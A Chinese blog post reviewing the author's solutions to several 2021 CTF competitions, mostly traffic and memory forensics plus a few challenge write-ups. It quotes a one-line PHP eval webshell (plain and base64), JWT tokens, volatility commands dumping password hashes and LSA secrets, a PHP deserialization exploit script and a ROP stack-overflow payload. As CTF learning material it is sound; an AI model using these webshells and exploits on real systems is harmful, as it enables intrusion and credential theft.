做题记录(复盘)
一、陇剑杯(偏复盘)
比赛时是打酱油的爆破组,没啥压力,就做出来几道题,所以在这里把绝大部分题目再复盘一下:
1、签到题
筛了一下http流,发现一堆403,而且都是从一个ip出来的,所以应该是http攻击吧。。
2、jwt
(1)2.1该网站使用了______认证方式。(如有字母请全部使用小写)
追踪一下流,发现每个请求请求头里都有token,加上题目也叫jwt(可以先拿token去jwt官网解一下确认下),所以直接盲猜是jwt认证。
(2)2.2黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)
直接拿这段token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc去官网解密
解出来id:10086 username:admin 不对。。。
然后协议分级了一下,在筛了一下http流,又找到一个token,解密发现id是10087,username还是admin。
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0
(3)2.3黑客获取webshell之后,权限是______?
使用正确jwt后追踪tcp到第10个流,发现权限alert了root
(4)2.4黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
13流长传了1.c,14流ls了上传目录下的该文件
(5)2.5黑客在服务器上编译的恶意so文件,文件名是_____________。(请提交带有文件后缀的文件名,例如x.so)
后面几个流都是对该so文件的操作,在21流alert能看见looter.so
(6)2.6黑客在服务器上修改了一个配置文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)!
26流:
3、webshell
(1)3.1黑客登录系统使用的密码是_____________。
追tcp流 ,6流找到密码。。。(谁能教教我窍门,不想一个个看了啦)
(2)3.2黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)
没做出来,你看我php完全是不懂哦,但是肯定是在tcp31-33流里(31里有pwd)
会了,在33的发包追http流,别追回包的tcp流,要不回包是乱码,看不出来,或者直接不追流,直接在,在这个白页里看data😅 。
上传马的位置就是web的根目录,加上log的后缀路径就行。
(3)3.3黑客获取webshell之后,权限是______?
我在瞎猜,毕竟php我是完全不懂哦~ 。看了一眼35流,把发包urldecode一下发现几个php的函数,搜了一下,感觉就是查权限的呢,是不是和whoami差不多啊。。
(4)3.4黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
33流有写小马进1.php,那就是1.php了,(其实一共就两个php文件 - -)
PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4= <?php eval($_REQUEST[aaa]);? >
(5)3.5黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)
追下37-39的http流,发现38流有上传文件,39流出现了frpc.ini (非网安人员,我甚至都不知道这是啥东西,哈),搜了一下,就是他了。。
(6)3.6黑客代理工具的回连服务端IP是_____________。
走偏了,忘了流38上传了frpn.ini,这是个配置文件啊,那就取他的key-value解一下hex,果然是连接配置
(7)3.7黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd)
同上题
4、日志分析
(1)4.1网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
感觉好白给,log文件就这么大,虽说机会只有三次,但是也够蒙了,比如这个4.1就搜出了一个 200的zip,
怀疑就是他了。。。
(2)4.2分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。
(3)4.3分析攻击流量,黑客使用的是______类读取了秘密文件。
这俩一样,一个urldecode解决了,因为文件里确实没啥,所以一找就找到了。。
5、流量分析
后续会补
6、内存分析
不会做,照朋友wp复现了一下
第一问好像能用mimikatz一把梭,不会、。。所以照朋友wp流程来了一下
先来个vol指令集吧,我完全是不懂哦
volatility -f Target.vmem imageinfo --查看内存信息
volatility -f Target.vmem --profile=Win7SP1x64 hivelist --查看注册表
volatility -f Target.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000e66410 --dump出hash表
volatility -f Target.vmem --profile=Win7SP1x64 lsadump --提取lsa密码
拿到第一题的flag了
第二题先搜下文件,发现好多华为P40相关的文件,都取出来然后用一个华为备份还原的脚本一把梭了
volatility -f Target.vmem --profile=Win7SP1x64 filescan --文件目录扫描
volatility -f Target.vmem --profile=Win7SP1x64 filescan |grep ‘HUAWEI P40_2021-aa-bb xx.yy.zz' --细致搜一下华为相关
volatility -f Target.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007d8c7d10 -D ./ --把相关文件dump出来
然后直接利用kobackupdec工具进行解密 密钥为6.1flag 空格换_
python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX ./in ./out
华为备份还原脚本地址:https://github.com/RealityNet/kobackupdec
我醉了,用本机装依赖一直超时,换啥源都不行,用kali就行,干了啥啊这是。。用脚本把原来文件名改成in,然后输出out文件访问里面tar,解tar得到一个image就是flag
vol根本不会,学会了不少新指令:文件目录扫描、检索;dump文件、dump hash表;查看内存信息、查看进程、注册表;直接提取LSA密码等。
7、简单日志分析
(1)7.1黑客攻击的参数是______。(如有字母请全部使用小写)
出现了好几个user=xxxx,那参数应该就是user
(2)7.2黑客查看的秘密文件的绝对路径是_____________。
第二次get user时后面的base64
(3)7.3黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口",例如127.0.0.1:2333)
注意要先urldecode 再 base64。。。。
8、SQL注入
(1)8.1黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)
真的烦,看着乱糟糟的,sql注入+php简直就是折磨我,布尔盲注
(2)8.2黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。(格式为“数据库名#表名#字段名”,例如database#table#column
看吐了
(3)8.3黑客最后获取到的flag字符串为_____________。
看吐了×2 ,盲注一个个往下数吧。。
9、wifi
我不会
10、ios
(1)10.1黑客所控制的C&C服务器IP是_____________。
(2)10.2黑客利用的Github开源项目的名字是______。(如有字母请全部使用小写)
(3)10.3通讯加密密钥的明文是____________。
这三题都在tcp 15流中
(4)10.4黑客通过SQL盲注拿到了一个敏感数据,内容是____________。
要导入https证书了,把key.log中rsa session都去了只留CLIENT_RANDOM文件然后导入tls文件,然后筛一下http2流可以看到sql盲注的内容,然后就,,挨个数或者写脚本看下盲注的内容。
(5)10.5黑客端口扫描的扫描器的扫描范围是____________。(格式使用“开始端口-结束端口”,例如1-65535)
由第一问可以知道发起攻击的ip是192.168.1.8,那么用科来工具筛一下这个与ip交互的ip,发现过了192.168.1.12好多的端口,怀疑是在扫描,看一眼,猜测范围是10-499
(6)10.6被害者手机上被拿走了的私钥文件内容是____________。
不会
(7)10.7黑客访问/攻击了内网的几个服务器,IP地址为____________。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)
接着用科来工具看192.168.1.8感觉内网ip只有以下圈的两个,其中一个是上题被扫描的ip,另外一个则在access.log中被写了webshell了。。。那应该就是图中的两个ip
(8)10.8黑客写入了一个webshell,其密码为____________。
在日志里的最后几行
11、机密内存
我配么
二、第五空间杯
队里一共做出来6道题,简单记一下。
1、misc 签到题
没啥好说的,下载解压缩包,打开里头txt文件得到flag
2、misc alpha10
首先下载得到一个.data文件,kali binwalk 发现藏有png和jpg,foremost分离
得到两个一样的图片分别是jpg和png格式。用stegslove比不出啥,猜测是盲水印,执行盲水印脚本得到:
3、区块链 callbox
一、前面都是老套路,计算hash值,然后获取游戏地址,部署题目,通过eth.getTransactionReceipt获取部署的字节码,然后进行反汇编,获取汇编码
二、分析汇编码主要点在于三个call DELEGATECALL、STATICCALL和CALL,还能发现只有一个0xc24fe950函数,参数为一个地址。然后没有更多的函数,所以能想到的清空方法就是自毁函数selfdestruct()。
三、然后就是具体分析调用流程,首先调用0xc24fe950 (address)方法,会判断msg.sender == address(this),即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的msg.sender是game合约地址,判断为否。然后进入staticcall(address(this))部分,它重进入自己的合约内,再次调用0xc24fe950
(address)方法。此时需注意,由于是重进入,故此时的msg.sender与address(this)相等。故经过判定,会进入到delegatecall(code)的逻辑中。在delegatecall(code)逻辑中,实际上是调用外部合约code的fallback()方法,注意此时为staticcall的调用环境,故此时应该让其直接返回success即可。staticcall(address(this))通过后,会进入call(address(this))调用,同样的参数,同样的逻辑过程。只是需要在code.fallback()函数中,不直接返回,而是执行selfdestruct(tx.origin)来销毁game合约,从而达到清空的目的。
四、然后还得判断一下是由call调用还是staticcall调用,通过EIP-214得知,staticcall的本质是严禁修改任何地址,而call则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,call一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。
五、最后写payload即可,在链上部署两个合约,最后调用0xc24fe950(传CODE3地址)即可,具体交互脚本都是老套路。
这题吧,我同事YYDS
4、web WebFtp
御剑直接扫出后台有1.txt和其他php,php文件访问403,1.txt可以正常访问,访问得到flag
5、web pklovecloud
查看题目发现直接是代码审计题目
函数入口点$logData = unserialize($_GET['pks']);
直接echo $logData
根据PHP 魔法函数特性可知,当把对象当做字符串去执行,会触发to_string,跟踪$this->cinder->echo_name();
进入到class ace中的echo_name()中,发现只要满足
$this->openstack->neutron === $this->openstack->nova就可以触发
file_get_contents($file),将$filename赋值为flag.php即可得到flag值
flag{fXM75u5IqcaEwdIibN4DOpHGGnyi}
Exp如下:
<?php
class acp{
protected $cinder;
public $neutron;
public $nova;
public function __construct()
{
$this->cinder = new ace();
}
}
class ace{
public $filename;
public $openstack;
public $docker;
public function __construct()
{
$this->filename = "flag.php";
}
}
$flag= new acp();
$flag->openstack->neutron = &$flag->openstack->nova;
echo base64_encode(serialize($flag));
6、pwn bountyhunter
明显的栈溢出,题目未开canary、PIE,且给了system和/bin/sh字符串,简单ROP
bin_sh = 0x00403408
system_plt = 0x000401030
rdi = 0x000000000040120b
ret = 0x0000000000401016
pad = b'a'*0x90 + b'b'*8
context.arch = "amd64"
rop = [
ret,
rdi, bin_sh,
system_plt
]
payload = pad+flat(rop)
ru("What do you want?")
sl(payload)
io.interactive()
三、长城杯
打酱油了,菜,一道题都没做出来
后续应该会在这里补一下
一道逆向题:凯撒+tea+rc4
一道misc:最后用到了opcache不会了
一道web:easyjava,比赛时没做,回来看看
wp搜集
一、陇剑杯
陇剑杯 个人 ’WriteUp‘ 没有websehll、流量分析和最后的机密文件
陇剑杯WrightUp--Webshell 记webshell的
2021陇剑杯部分WP 有记流量分析
还没找到机密内存
二、第五空间杯
1、可以去看Nu1l的赛后wp
2、或者去看n03tack战队的wp(这次社企组第二,仰望)
wp地址:https://wp.n03tack.top/posts/56002/
三、长城杯
还没找
标题:陇剑杯、第五空间杯、长城杯做题记录(复盘)及wp搜集
作者:jyl
地址:http://jinyunlong.xyz/articles/2021/09/18/1631936869107.html